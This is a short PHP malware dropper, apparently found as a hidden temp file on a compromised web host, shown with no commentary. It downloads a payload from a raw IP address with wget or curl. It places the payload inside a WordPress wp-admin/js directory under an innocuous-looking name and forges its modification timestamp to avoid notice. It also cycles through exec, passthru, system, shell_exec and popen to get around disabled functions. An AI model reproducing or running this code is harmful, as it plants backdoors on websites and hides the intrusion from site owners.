File: //tmp/.center
<?php $p = '/kunden/homepages/34/d890102484/htdocs/sites/eglise/wp-admin/js/popup_ask.php'; $u = 'http://213.209.159.254/tmp/xFGYNQNKcd'; $fs = 612; $ft = 1725042316; run("wget -O {$p} {$u}"); check($p, $fs, $ft); run("curl -o {$p} {$u}"); check($p, $fs, $ft); function check($p, $fs, $ft) { if (file_exists($p) && filesize($p) == $fs) { @touch($p, $ft); die('!success!'); } } function run($in) { $out = ''; if (function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif (function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif (function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif (function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; } die('!ended!');